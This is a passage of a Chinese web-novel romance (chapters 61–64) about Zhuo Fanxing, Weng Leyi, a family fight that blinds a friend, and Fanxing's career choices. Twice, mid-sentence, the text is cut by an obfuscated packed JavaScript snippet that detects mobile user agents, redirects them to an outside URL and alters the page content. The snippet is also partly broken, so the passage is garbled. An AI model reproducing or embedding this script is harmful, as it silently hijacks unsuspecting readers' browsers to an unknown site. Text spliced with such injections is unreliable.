“......嗯?”卓繁星感觉眼睛越来越胀。“我们要吃饭了,回去再视频吧。” 小巴进站,像一个慢吞吞地老年人,车门打开发出明显的响声。“我先挂啦。”卓繁星赶紧挂断电话,跳上车,把整个镇子都丢在脑后。 61. 第 61 章 卓繁星的糟糕心情一直持续到回到翁乐仪的公寓。不过这次没有暴食的想法,可也没有吃饭的胃口。 她一回到家就开始睡觉,直睡到小八饿了挠门才爬起来。 呲呲的声音叫卓繁星恍惚,她好像忘记买沙发罩了,客厅里那只沙发已经被它折磨了很久。如果换成丝绒沙发应该会好很多。蒋凌洲妈妈别墅里的那只就很好。 翁乐仪打了两通电话,卓强电话没打通,发来信息问她到家了没。 卓繁星给卓强回复过去,翁乐仪的视频也随之而来。 “你在睡觉?” 卓繁星穿上拖鞋,打开门,小八委屈地喵呜了一声。 “它饿死了,挠我门。”卓繁星把镜头翻转过去对准它,它翘着尾巴,已经引着她往猫盆架去。 “你呢?” “嗯?”卓繁星没听清,把手机搁在旁边,就去翻罐头。 “你说我要不要给它做点猫饭,反正我这两天也没事。” 翁乐仪坐在沙发上无奈撑额,听着那边传来的窸窸窣窣动静。一会儿是拌罐头的声音,一会儿是喊着:“小八,还没好,别急。” “吃慢点呀。” 脚步声响起,又很快回来。她的脸终于又出现在镜头里。 “你还在医院?你爷爷怎么样?” “挂吊瓶、做检查,嫌无聊,闹着要回家。” “那不行吧。不过老人家就是这样的。”卓繁星轻轻笑了下, 二人视线相接,通过摄像头完全是不一样的感觉。 翁乐仪说:“你晚饭吃过没?” “还没想好吃什么。” “你今天去你爸爸那边不开心?” 卓繁星躺倒下去,看着镜头里的人。“你又知道了。”她有些气馁。“我也不知道,好像就是相处不来。” 她难道不知道那些话刺痛他,可是她就是要说出来。然后看见他难受了,又会开始后悔,折腾了他,自己也不开心。 卓繁星把手机放在旁边,问他:“翁乐仪,你和你爸爸感情很好吧。” 翁乐仪说:“没有想象的那么亲密。” “嗯?”她感兴趣起来,转过身趴在沙发上注视屏幕。 “他那个时候工作很忙,我时常见不到他。” “那会吵架吗?嗯?有没有吵过架?” 翁乐仪思索了下,好像真的没有。他天生性情平和,似乎也找不到争执的理由。要说争执,如果几个小时前发生的那场对话也算的话。 他看了镜头里的人一眼。 卓繁星歪着脑袋,纤细的锁骨露出来,让人想到一些脆弱的东西,而因此生出莫名其妙的破坏欲。 他将脖子里项链拿出来,手指握着那颗星星,在唇边贴了贴。 卓繁星一下睁大了眼。 像是无意识的动作,就是有些人习惯性会这样,比如说思考的时候,就会拿起项链放在嘴唇边。可能算不上什么。 卓繁星想他是不是故意的。 “你不吵架吗?”卓繁星托着微微泛红的脸,唇角不自觉便勾了起来,一并还有两条小腿,它们荡啊荡,就如她此刻的心情。 “印象里没有。” “那真好。” “这样也不太正常吧。”翁乐仪说:“我和我爷爷吵架的次数都比他多。” 他们刚刚就因为回不回家这件事闹了别扭。“我说希望我年纪大了不要像你一样难弄。他生气了。” 卓繁星一下笑倒。“老小孩呀,你要让让他。” “我知道。”翁乐仪往后靠,卓繁星只能看见上面的吊顶了,还有一半的吊灯。 “今天留在医院里吗?” “我等他睡了再走。他眼睛也不大好了,我今天给他念了二十分钟的书,他就睡了。” “什么书?我也想听听。”卓繁星想他的声音很好听呀,是干净清朗的声音,再带点京市人习惯的吞音,还是挺标准的。 翁乐仪翻着膝盖上的书。“回去再念给你听。” 卓繁星不大乐意,一下又兴奋起来。“那说好了。” “嗯?” “嗯什么,说好了,回来我想听什么你都得念。” 她眼珠子亮的很,翁乐仪一看就知道在打歪主意。他正想说什么,爷爷回来了。 “打电话呢?” “外面好玩吗?乌漆嘛黑的看什么呢?” 翁爷爷还记着刚才那“仇”呢,哼了一声。“人多着呢,那外头河里还有人钓鱼呢。” 翁乐仪笑了一声。柳姨说:“你听他瞎说。” “你帮谁呢?”翁爷爷摘了帽子。柳姨接过来,说:“帮您。” “那你拆我台。” 翁乐仪听着电话里的人小声说:“我挂了啊。”暗骂了句胆小鬼。 翁爷爷上完厕所出来说:“我是不是耽误你谈恋爱了。” “什么?”翁乐仪奇怪他突然这样讲。 “那姑娘回去了?” “回了,马上要上班了。” “离初八还早着呢。” 翁乐仪把人扶到床上。“不得回去收拾收拾。” “你可真不像个谈恋爱的样子。” “哪样?”翁乐仪坐在床前的椅子上,很有兴趣听他的高见。 “那是一刻都分不开,跟扭股糖一样。我跟你奶就是这样。那时候我在新疆,你奶就坐几天几夜的火车来找我呀,火车还到不了地方,得坐公车,再骑马,你奶就是这么来找我的。见到人的时候,一张脸全是黑乎乎的灰。” 翁乐仪说:“那您可真能耐。” “你也不错。小姑娘过年呢都飞过来找你,不错了,不错。没给咱家丢面。” 柳姨听了笑。翁乐仪无奈,跟着笑。“那我真得谢谢您了,那您赶紧把身体养好,我好找她去。” 这夜里京市的天空晴朗无云,月亮仍是浅浅一弯,年味尚未消散,可到底不是大年三十,初一的时候的样子了。街道上都像正常生活靠拢,很快就是新的一年,日复一日的工作。 翁乐仪从医院回到家里,一进去有种空荡荡的感觉。分明卓繁星才呆了短短三天。 然而这个晚上终究不像他想的那样平静,陈跃的电话在翁乐仪将要入睡的时候打来。 翁乐仪半路转去派出所,正遇上从车上下来的舅妈俞秋华。 她面色憔悴,头发披散下来,不是往常妆容齐全的样子,下了车拢了拢身上披肩,看见他。“乐仪。” “是陈跃打电话给我的。” “前世造孽生了他,大过年的不安生。” “酒喝多了。”翁乐仪淡淡讲了句,想她宽心,显然没起什么作用。 俞秋华冷淡着面色进去,吃醉酒寻衅滋事,斗殴进局子。他当自己是几岁的人,倒不如赶紧回美国去。 大半夜的派出所里还是很热闹,俞秋华听见乌泱泱的声音,脑子就开始发胀。 血压现在一定很高,她这样想。 两个人先看见林灿,她慌乱地站起来,张口要解释。俞秋华倒比平时和气多了,问她可有受伤。 “我没事。Arthur也没什么,就是他朋友,还在医院里。” “怎么打起来的?他们两个人还会打起来,从小一起长大的,酒得吃成什么样。”俞秋华电话里听说儿子和刘清华干仗,还以为是做梦。 林灿面露难色,看了下翁乐仪,说:“酒喝多了,不知道怎么吵起来了。” “真是作孽。”俞秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067365|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华骂道。 找到警官,见到蒋凌洲,先将人保释出来。 事情发生在刘清华的酒吧,上次那张照片,就是吴梦云收到的那张,不晓得发了几个人,又或者是经由他们传出去。反正头一个发出去的人是刘清华。 陈跃电话里说:“他是有点嫉妒凌洲的,以前那点心思嘛,我们都懂。”他说的是读书时候刘清华喜欢许筠,许筠偏偏喜欢蒋凌洲的事儿。 毕竟是从小一起大的,闹成这样已经很难看了。 蒋凌洲身上酒气还没散尽,衣服上沾了血,也是被扯的乱七八糟。 俞秋华说:“我大过年还要来处理你这摊子事。” 蒋凌洲的目光落在翁乐仪身上,翁乐仪说:“清子眼睛受伤了。” 蒋凌洲摸了下脑袋,断片儿了,想不起来,当时听见他嘴巴喷粪,几两黄汤下肚,把他们两兄弟带着卓繁星的事儿乱讲,就打起来。 俞秋华说:“先回去,什么事儿明天再说。” 可到了第二天,刘清华家里人就找上门来。他爷爷带着他妈上门,两家早些年住一个家属院里,是几十年的交情。 蒋爷爷起先没反应,等人出去了,回头一巴掌甩在孙子脑门上,吼的震天响。 “他眼睛要是没了,你抠出来给他安回去。家里丢不起这样的人!” 卓繁星是在同何安琪去看她前夫那间工作室的时候收到的消息。何安琪的前夫不知道怎么欠了一屁股债,这间工作室是最老的那家,她们家发家就是从这儿起来的。卓繁星以前也在这儿上过课。 如今放假,门都是锁着的。何安琪趴在玻璃门上往里探。 “听说是他后来找到那个女的忽悠他去投资,半年工夫钱都给败干净了。啧啧,这家底攒起来得难,败起来倒快。”何安琪脸上倒不纯粹是幸灾乐祸的样子,唏嘘道:“他正急着找人接手呢。现在这个环境,谁敢接这么大摊子。繁星。” 她一扭头,见她盯着手机,表情不算太好。 “怎么了?” 卓繁星摇头说:“没事儿,你说。” “我说这个店可惜了。你说我要不要接下来?” “钱够吗?”这一间地方可不小。 何安琪说:“要是接下来,确实有点紧张。我手头现金也不多,估计得找我爸妈他们借吧。不过赵珂现在急着出手,他找过我,我没答应,还要跟他再扯一会儿。” 卓繁星说:“那我之后还能回来上课了,不过离我现在住的地方有点远了。” “你要不来当合伙人吧,咱俩一起开。” “啊?”卓繁星愣了下,不知道她是不是随口一提。 回到家里,卓繁星忍不住翻出许筠的信息。 【凌洲因为你把清子眼睛打瞎了】 就这么一句。 卓繁星看见她前头还撤回了两条,或许是骂她的。 她不知道怎么和这两个人扯上的关系,和翁乐仪电话的时候问起来。 “你怎么知道的?”他顿了顿问。 “......许筠说的。” 翁乐仪说:“这事儿和你没关系,你不用放在心上。” 卓繁星安静了一会儿说:“不能告诉我吗?” “和你有什么关系。”翁乐仪打断道。 一时僵住。卓繁星抱紧怀里的小八。 “灿灿。”翁乐仪知道的自己口气不算太好。 卓繁星说:“我只是不想被莫名地指责。” “是她误会了,这件事真的和你没有关系。” 翁乐仪的声音坚定又清晰地传了过来,同往常一样,十分平淡。 “好。” 卓繁星想,确实是这样,也该是这样,能和她有什么关系。 62. 第 62 章 “血压量出来怎么样?” 一大早,俞秋华就在公公房间外面问。保姆说:“还是高。昨天也没休息好,三点多就醒了。不过胃口还行,吃了一大碗面,后来说困了再歇会儿。” 俞秋华点点头。“怎么能不高,我自己都高。你盯着点,起来的时候别叫他快,之后再量一下,还有血糖。” “妈。”她对着出来的婆婆说:“我自己去就行。你在家里吧,别到时候你也气着了。” 秦奶奶决断道:“我跟你去。别啰嗦了。昨天人都到家里来了。我出面总好一些,总归是我们理亏。” “都是凌洲不懂事儿。” “行了,事儿都出了,还说这些做什么。” 两人坐上车,俞秋华忍不住说:“这事儿也不全怪咱家。” 秦奶奶看了她一眼。“这话别说了。” “我知道,就是想不通啊。那姑娘就那么好?叫他惦记到现在,和下了咒一样。” 秦奶奶插着手,不吱声。 俞秋华说:“您是没见,当天在现场两兄弟那样。” “或许是他命里的劫数。” “什么劫数?您佛经看得多,我是不信的。” 秦奶奶说:“凌洲的脾气你不知道?” 俞秋华皱眉,那是傲上天的性子,家里虽不是说那种惯宠,但是他自个儿挣来的脸,也够得他傲。从读书起,到后来结交朋友,尽是惯得他一副桀骜脾气。 想来想去没个解法,愁道:“怎么能出这样的事儿。妈这干亲结的。” 秦奶奶哦呦一声。“倒成我的错了。” 俞秋华也不怕她。“徐凤亏得认得您,是她的福气。我们嘛,麻烦全在我们这儿。乐仪如今正稀罕那姑娘呢,什么东西都是抢着好,这热乎劲儿没那么快散。偏您孙子是个犟种。” 秦奶奶已经听的很不顺耳,提高了声音问:“那他平常干嘛去了?他不是带着女朋友回家来着。噢,见了人家成一对儿了,自个儿不乐意了。天下还有这样的道理。” 她越说越气。“如今逞凶斗狠,把别人打的一只眼睛要残废了。要我们给他收场。” “他去的,他在医院等着呢。” “那我还要谢谢他了?” “妈。”俞秋华只能服软,上去揽着老太太胳膊。“是我说错话了,全是那个讨债鬼的错。” 秦奶奶喉咙里哼了一声。 车子驶过半条街,俞秋华才低着声儿道:“只是咱们两家都是有头有脸的人家。兄弟两个为了个姑娘闹起来,说出去脸面都没有了。”见她要驳,她一把按住。“妈先听我讲,看是不是这个道理。” “咱们家里低调,您和爸都退休了,可说到底又不是真的闭起门来的老头老太太。年前京市学校里来采访,是不是就眼前的事儿?就说平常家里,断过人没?翁家就更不用说。” “要是没有凌洲这档子事儿,人家听了就当笑话,现在他将人打成这样,还进了派出所。我就盼着清华眼睛没事儿,要是瞎了那就是致残,性质全不同了。咱们家是好出钱,可他家里也不见得缺钱。换成是您,要是清华把凌洲打成这样,您怎么说?” “你不用吓唬我。”老太太冷着声。 “我那是吓唬您吗?我是自个儿怕呀。” 秦奶奶撇她一眼。“那你就别咒人家孩子。要是真出事儿了,该怎么办怎么办。老头子不是已经说过了,他眼睛拿下来给人家都行。” 俞秋华一下也气起来,胳膊一甩,坐回去。“你们倒想的通。” 沉默了一路,车子进了医院,俞秋华才又开口。“一个是您孙子,一个是您外孙,就是您两个眼珠子。” 转眼到了元宵节。 卓繁星已经上班了,就是Bella那儿还没个着落。 卓繁星做地铁的时候接到姚灵均的电话,说的正是前段时间蒋凌洲打刘清华的事。 “听说一只眼睛伤的特别厉害,蒋凌洲人已经回美国了,听说是去联系医院什么的。” “你怎么知道的?”卓繁星一想就明白了。“舅妈。” “嗯。我妈前段时间不是给秦奶奶送膏方么,这次又去了。她是去打探消息的,她从许筠妈妈那边听说的,说是因为刘清华胡乱说了些事儿,就是你和翁乐仪还有蒋凌洲的事儿,然后才被打的。” 卓繁星怔了一下。“怪不得许筠发消息说是因为我。” “什么?她发消息给你?什么因为你?她怪你?”姚灵均一下就急了。“你别听她瞎说,是刘清华自己犯贱。” 卓繁星笑了下,说:“我知道,我才没那么圣母心。” “就该这样。他们两个男的打架还能扯上你。我看许筠脑子有毛病。她这人还是这样,老是下意识PUA别人。靠,我跟你讲,她肯定到处乱说。” 姚灵均听见那边地铁到站的声音,冷冰冰的机械感。“今天元宵节,你一个人?” 卓繁星说:“和室友一起过,她也是一个人。”她刚刚在公寓里给小八喂完饭,然后过来的,顺道从翁乐仪那儿拿了一瓶酒,晚上就不回去了,刚好邵丽丽的妹妹也已经开学了。 “翁乐仪没过去啊。” “他爷爷身体不太好。” “你呢?”卓繁星问她。 “我?我一个人吃吧。” “为什么?”卓繁星怎么也想不到会是这样的回答,她不是应该在家里,再不然和未婚夫一起。 姚灵均烦躁地叹了口气。“我不想去胡昊天家里,去了又要问结婚的事,怎么安排的,我觉得好烦。家里也是这样,我妈要问房子的事,胡昊天家里到底怎么个说法。我被夹在中间,难上加难。” “她总是教我怎么去说,怎么对胡昊天的妈妈提要求。我觉得好窒息呀。” 卓繁星不知道该怎么安慰她。 她在疾驰而过的地铁里,看见对面黑乎乎的洞壁,默默叹了口气。 Y市流行肉汤圆,卓繁星和邵丽丽都不怎么喜欢。邵丽丽说:“我拿了一包花生馅的,还有一包芝麻的。” 邵丽丽烧了一只暖锅,还有自己卤的牛肉,切好装盘。“我给你留了一点,你带回去吃。” 卓繁星拍了一张照片,碗里五个挤在一起的黄米汤圆,配着淡白色的热汤,让人不由自主生出一种温暖的感觉。 翁乐仪没有回复,姚灵均倒是发了一张灯会的照片。 邵丽丽看见了说:“Y市也有,在中心广场那儿,一会儿要不要去看?” 卓繁星表示拒绝。“窝着不舒服吗,为什么要去吹冷风。” “懒死你算啦。” 两个吃完饭,洗干净碗碟。卓繁星把小酒倒上,邵丽丽说:“咱俩看电影吧。” “甜蜜蜜?”卓繁星看见她点开ipad,可怜她们连投影都没有。 “你看过?”邵丽丽怕她觉得不新鲜。 “听过。” “特别好看,我看了好几遍了,每次看都觉得黎明好帅,张曼玉好美。”她捧着酒杯有些陶醉,有些歆羡地讲,像是再畅享着一些什么。 在看到黎小军买汉堡包,第一次和李翘碰见的时候,她就说:“我觉得我和李翘一样,不会选择黎小军的。” “我刚出来打工的时候遇到过一个很像黎小军的人。”她有些怅惘地喝了一口酒。 “后来呢?” “他要我跟他回老家结婚,我不愿意呀。他早就结婚了,孩子都两个了。他家里有自建房,日子差不到哪里去的。” 卓繁星轻声说:“你有点后悔了?” 邵丽丽仔细思考了一下,仍有些困惑地眨了眨眼睛。“不知道......我觉得我还是不后悔的吧。”她靠在卓繁星身上说出这句话。卓繁星想到姚灵均的困境,虽有不同,但似乎也没有很顺畅。婚姻啊,总是很难的。她有些怜惜地摸了摸她的脑袋。 手机突然响起来,是翁乐仪的来电。 “你不在家?” “我在租房。你回来了?”卓繁星一下就想到了。 翁乐仪轻轻笑了声,说:“我过来接你。”便挂断了。 邵丽丽啧啧两声。“原来我才是孤家寡人。”话音刚落,洪旺的电话就来了。 “我不过去......随便你。” 卓繁星看见她得意洋洋地挂断电话。“黎小军?”她调侃道。 “喂。”邵丽丽推她。 翁乐仪比洪旺迟一些到。剧情正在高潮,李翘跳下移民局的车,在纽约的街头寻找黎小军。 屋里的光线很暗,翁乐仪进去的时候,洪旺抱着邵丽丽,对着他无奈地挥了挥手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067366|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卓繁星拉着他坐在另一边沙发上。 翁乐仪说:“在看什么。”电影? 卓繁星立即亲了他一下。“甜蜜蜜。” “好。”他知道她是叫他先安静地看,可翁乐仪辗转过来不是为了来看电影的。他漂亮的眼睛看着她,手指在她肩头轻轻摩挲。 卓繁星习惯性就倒在她身上,他无奈,只能克制地在她头发上贴了贴。 电影很快结束,主人公终于在街头相遇,伴随着邓丽君的歌声。 邵丽丽站起来,说:“我去洪旺家啦。” 卓繁星想真是个奇怪的元宵啊,过成情人节的感觉了。 电影里不就是如此。 黎小军和李翘的越界就是在元宵节,两个孤独的人在异地像两只报团取暖的小兽。 邵丽丽在走之前说:“翁总要留宿我ok的啦。套套有吗?没有可以去我房间里拿,我门没锁。” “走了啦。”卓繁星有些无奈地送她离开。 她确实有这个想法,再折腾回去,还要开一个小时的车。不过还要征求翁乐仪的意见。 “你想回去吗?” 他正把杯里的水喝干净,疑惑地看过来。“你呢?” “我都可以。不过这里的楼梯不太方便,你也没带衣服,要不还是回去吧。” 卓繁星走到台阶上,听见后面的声音,他走过来。台阶的优势,她比他高了半个头,能俯看他。 “我去拿两条衣服。”最近温度上升,太阳出来的时候能有二十度,卓繁星要拿些薄衣服过去。 翁乐仪说:“我能看看你的房间吗?” “可以啊,可是楼梯不太好走。” “也没那么困难。”他扶着扶手上去。卓繁星还有点莫名地紧张。她的房间小小的,层高很低。卓繁星已经习惯了,可他走进来一下就显得十分逼仄。 卓繁星挑了一件薄风衣,一条线衫。翁乐仪拿着她放在床上的娃娃,轻轻捏了捏。 “对了,今天到了一个望远镜,你买的?我不会装,你自己回去装。” 翁乐仪说好,躺下去。 卓繁星眨了下眼睛,突然起了坏心思,一下趴在他身上。 两个人抱在一起,笑声逐渐消失。他尝到她嘴里葡萄酒的味道。 卓繁星后来变成了在下面的那个人。她推开他,翁乐仪握着她的手。 “你爷爷的身体好转了吗?这次呆多久?还要回去吗?” 翁乐仪的眼珠有片刻凝滞,捋了捋她的头发说:“我可能要被调去津市。” 他的眼睛随着她的表情而动,时刻关注着她的每一丝变化。 “那我们要很久见不到面了。异地。”卓繁星果然有些惊愕。 “我会抽时间回来的。”翁乐仪在她失落的眼睛上亲了下。 卓繁星没有说话,只是低落地看了一眼其他地方,又看回他,有一种莫可奈何的无力感。嘴唇不自觉地撅起,手去撩他垂落下来的头发,又有些气愤。 “灿灿。” 翁乐仪拉住她的手。 卓繁星说:“你小心变成小婷啊,翁乐仪。” “什么?” “被黎小军背叛的老婆。” “你不会。”翁乐仪牵起嘴角,将她的手放在唇边亲了亲,说的斩钉截铁。 “为什么不会?”卓繁星可不想见他这幅吃定她的样子。“我老板昨天还说有帅哥。” 她的唇被吻住,用了些力道。 “我会经常过来的,灿灿。”他抵住她的额头这样讲。 卓繁星靠在他胸口,卓繁星不知道自己担心的事情会不会发生,可是她有一种预感,在前面等着她的,好像不是什么好事。 她乘着小船,在晃晃悠悠中,那个绚烂的梦境快要醒来,她发现依然在海上,只有那条船,她一个人。 只是现在,这一切说起来都太早。她不想让自己显得那么神经质。 翁乐仪感觉被紧紧抱住,她纤细的手臂牢牢扣在他身后。 “我把头发留长吧。”卓繁星突然开口。 “嗯?”他低下头,与她仰起的视线对上。“等你回来,说不定会惊讶我头发一下变得很长了。” 翁乐仪感觉到自己的心陷下去一块儿。他抱紧她。“不会那么久的,我保证。” 63. 第 63 章 翁乐仪将他的望远镜装好,着实花了不少力气。他搬到阳台上,让卓繁星去看。 晴朗的天气下,星空格外明亮,即便只用肉眼也能看到些许的星光,通过望远镜更是璀璨无比。星星像一颗颗点缀在天幕中的钻石。 “看见木星了吗?”翁乐仪这样问她。 “哪儿?”卓繁星很急。 “镜头里。”翁乐仪失笑,按着她的脑袋。 “城市里的灯光还是太强了,如果去郊外会更好。京市的天文台你去过没?后半夜可以看见银河,很梦幻。” 卓繁星只顾着看,耳朵里他的声音也听得含糊。 翁乐仪在身后抱紧她,脸架在她肩膀上,在她腮上亲了亲。 “好漂亮啊。”卓繁星感叹道。 “你是为我买的?”她转过来问他。 翁乐仪挑了下眉,只笑不答。 卓繁星抱住他,那些将要离别的隐忧又冒了出来。到后来,化成一声叹息。 翁乐仪说:“上次去京市见到的老师,你有想过以后吗?” “什么?”卓繁星不太明白。 “就是在Y市了?以后,工作。”他有些不知道该如何措辞。 “不然呢。”卓繁星转过去,重新对着望远镜。“你刚刚怎么调的?再教我一遍,我下次一个人也好操作。” 卓繁星装糊涂的本事向来很强,翁乐仪插着腰,看她装模作样地摆弄。见他没反应,还要往后拉扯两下,怪他:“怎么弄呀?” “笨蛋。”翁乐仪重新圈住她,报复似的拿他的下巴戳她的肩。 卓繁星挣扎起来,翁乐仪死死抱住她,不松开。 “喂。”她抗议。 翁乐仪说:“不是要学吗?” “疼啊。” “那算了。” 他一下松开她,转身就走。卓繁星揪住他的衣服,下一秒,就被吻住。 她的脸被托起,穿着毛绒拖鞋的脚不由之主便垫了起来,想要离他近点儿,再近点儿。卓繁星抱住他,闭上眼睛,将自己沉醉到这个吻里。 起码这一刻,他们还在一起。他还陪在她身边。 日子如流水一般,仍是这样过。 这日,卓繁星上完课出来见到了久违的前老板赵珂——穿了一身休闲西装,似乎同先前没什么不同。不过他领口处有显而易见的褶皱,以及头发也稍显凌乱。 要知道先前,他通身都是极为讲究的,难说不是何安琪的功劳。她艺术生出身,本就对衣着方面很是讲究,又有审美。做全职太太那几年,除了两个孩子,将他这个老公也是打理的十分到位。可讽刺的事正因如此,赵珂有了资本在外招蜂引蝶,全无半点对她的感恩之心。 曾经的爱妻也成了饭黏子,寡淡无味。出轨的理直气壮。 不过最叫人觉得不同的,还是那股从容,几乎不见了踪影。在看见她们时,他几乎恨不得出了电梯就飞到何安琪的办公室,最好全然不要与她们打招呼。 乔诗晴不明原因,奇怪道:“他来做什么?不会是来复婚吧。” 潘潘一个大白眼。“你盼着点何姐好吧。” “我是希望她不要和这个渣男再搞在一起啦,一次不忠,百次不用。男人千千万,干嘛要吃回头草,还是一颗老菜帮。” 潘潘说:“你放心啦,何姐清醒的很。估计是来谈合作的,他那个工作室要倒闭了,正找人接手呢。” 乔诗晴震惊三连。“他不是牛的很吗?” “叫他后来的老婆败完了呀。”潘潘凑过来一副神秘兮兮的样子。“我听说是投股票,还有什么虚拟币,一下子钱全都亏干净了。” 乔诗晴说:“这个我前男友好像也搞过,不是很赚钱吗。” “金融的东西说亏就亏的呀。你没看到那么多前一秒发财,后一秒跳楼的,多的是。” 乔诗情眨了两下眼。“那不是又要多几家店了?” “何姐哪里吃的下几家,估计就一家。” 乔诗晴说:“那我们老师够吗?卓繁星不是还要去剧团里帮忙?我可忙不过来。” 卓繁星刚好进来,她有点慌,声音小小劈了一下,随即又觉得自己占理。“繁星,潘潘说老板还要再接一家店呢。” “我听说了。”卓繁星喝了口水,去看下面的课程安排。临时有个私教课调动,她估计要晚一点才能过去剧团。 说起来,这还是林老师联系她的。Y市的剧团同大城市里不好比,人才并不多。他们的队伍刚刚组建起来,如今要排剧目,可是排舞的老师找不好,主要负责的老师年纪大了,怕跟不上潮流,训练方式还是思维都有些老派。 倒是配了两个年轻的老师,可是其中一个怀孕生产,一个是副手全无经验,一时间竟找不到合适的人选。 林老师在行业里是顶尖的人才,他们托到她跟前,她一下子就想到了卓繁星。 卓繁星起先不敢接。她自己这些年虽然不算脱离了行当,但着实称不上专业。 林老师电话里劝道:“你自己的技巧倒不是那么重要。他们看重的是编舞的能力。我记得你大学时候不是在这方面很有心得,后来还参与了电影里的舞蹈设计编排,那部电影里的舞蹈现在看依然很优秀。再说你这些年做老师,肯定很多舞蹈也需要你去设计。” “我觉得你可以的。”她给她鼓劲。“繁星,要相信自己。或许在京市,人才济济的环境下,你并不算出挑,可在Y市,未必是这样。” 卓繁星怀着忐忑又期待的心情接下了这份工作。 当然她有和何安琪聊过,毕竟会有时间的调动。 何安琪十分高兴,若是和剧团有联系,那繁星就成了工作室的活招牌。她自然再支持不过。 刚好有件事她也要同她商量。 她在办公室里同卓繁星说:“赵珂那儿我确定要接下来了,最多下个月就会正常营业。繁星,我希望你能帮我做一些宣传工作。现在的大环境自媒体肯定要做,乔诗晴虽然现在回来了,但是我不打算让她和以前一样参与进来。我希望你能帮我。” “赵珂那家店如果光靠我一个人确实会比较吃力。我能发挥我的优势,也希望你能参与进来,做我的合伙人。” 卓繁星想起这件事,稍稍敛了下眉。 她并没有马上答应下来,或许是有所顾虑。当老板和员工完全是两样事。虽然不用她出资金,但也正是因此,她的压力就更重。要是不全心全力地去做,有种对不起人家的感觉。 同时,卓繁星心里也十分明白,这是个机会。 她不是还打算买房子吗?做老板可比员工挣得多多了。 还有她不喜欢抛头露面的事,比起真金白银,不喜欢究竟有多重要。 卓繁星心里的想法繁多,和翁乐仪通电话的时候,不免讲起来。 “我觉得不错。” 卓繁星讶异道:“我还以为你会觉得不好。” “为什么?” “那我肯定会很忙了。” 他低低笑了一声。“开始肯定会很忙,之后可不一定。” 她老板的想法就是将她打造成工作室的名片。或许她先前还有些犹豫,可见她突然和剧团搭上了关系,那就意味着之后会有更多的资源,起码在Y市肯定够看了。 之后她肯定也会上课,可是就会经过筛选,价格也会水涨船高。这不见得是坏事。 “我记得你以前是学机械工程的。”卓繁星还记得他在酒吧修音响的事,这算是他的特长吗?反正动手能力很强就是了。她在书房里还见到好多小的汽车模型。 翁乐仪说:“所以?” “如果你家是做其他行业的,比如开超市的,你还会回来继承家业吗?” 翁乐仪想了想。“这没法假设,我从小就在这样的环境下长大,三岁的时候,我爷爷就会带我拆那种老式 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翁乐仪轻咳一声。“我要澄清一下,那束花是徐謇要求我凑单买的,你不要生气。满100减20。”他的声音含笑,如今说起来也是想要借着这桩丑事逗她开心。 “好哇。”卓繁星配合地恼怒起来。“你那个时候果然对我没意思。” “不,我那个时候觉得你很漂亮,特别漂亮......然后就开始后悔。” “后悔什么?” “徐謇的眼光很差。”他有些嫌弃地出口。 卓繁星笑出声。挂断电话后,她忍不住一把捞过小八来了段“双人舞”。当然它全程毫无反抗能力,且后脚离地,由得她上下左右,前进后退,最后收尾的时候更是惊慌失措,被她抵着脑袋胡乱一通亲。 “啊,小八,爸爸太狡猾了。” 翁乐仪的声音还在耳畔。“灿灿,去做你想做的事,不要怕。” 卓繁星入睡前想,她明天要买一束花来,波斯菊也好、洋桔梗、玫瑰都好。她又想到那盆在京市别墅送到她枕盼的杜鹃,开的是那么的热闹缤纷。 步入3月,卓繁星去医院做体检。这是她每年必要做的事,手术之后,尽管医学上讲人只要一颗肾脏就能维持运转,可为何后来又生了两颗。 卓繁星需要做必要的检查,尤其近来她工作繁忙,原先还担心Bella那儿没有后续,后面陈女士说给她请了一位芭蕾老师,她还松了口气,她如今可忙不过来。 说起来,陈女士似乎也在何安琪的新计划里掺了一脚。怪不得何安琪出手阔绰,原先的老店又租下上面两层,听说要做成人瑜伽、芭蕾、普拉提之类的生意。 总之,新的一年勃勃生机,随着渐暖的天气,人也仿佛抽了新芽似的活泼起来。 这日,卓繁星从医院拿了体检报告出来,除了有些贫血,一切尚算可以。 她心情不错,打算奢侈一把不做地铁,而是打滴去剧团,一个电话进来,全盘推翻了她的计划。 卓繁星看着对面许久不见的人,不知道要说什么,将要出口的话,又被来送咖啡的服务生打断。等她走了,她才又重新开口:“有什么事?” 姚馨雅喝了一口咖啡,眼睛只在她身上停留了一瞬,似乎在观察着周边。或许她没来过Y市,很好奇,卓繁星这样想。 今天的天气很好,这又是市中心的商圈,在日光下的街边喝着咖啡,不远处就是穿过Y市的河流,有一种静谧温暖又悠闲的感觉。 她将头上的墨镜取下,闲闲地搁在一旁,望着远处波光粼粼的河水,感叹道:“国内现在发展的真快。以前来这里的时候,这里都是滩涂,好多养鸭子的,臭的很。你肯定没见过。” 她看穿了她的不知所措,弯唇一笑。“不用紧张,我是有事找你。” 卓繁星认真地看着她,手脚搁的整齐,像是要聆听圣训的臣民。 “我想问你愿不愿意去美国?” 64. 第 64 章 “我在那边没有孩子。有一间自己的画室。如果你愿意去的话,会比在这里好很多。” 卓繁星又发起了呆,排练室里的姑娘们跳完了,她还没有反应。 “卓老师?”她们叫她。 “啊,啊。噢,跳的不错。休息一下吧。”卓繁星对她们鼓掌。 她们嘻嘻笑着聚到一旁喝水,互相推搡着。“你去问,你去问。” “卓老师有男朋友吗?”一个人问了,其余的胆子也大起来。“我们是帮徐昆问的。” 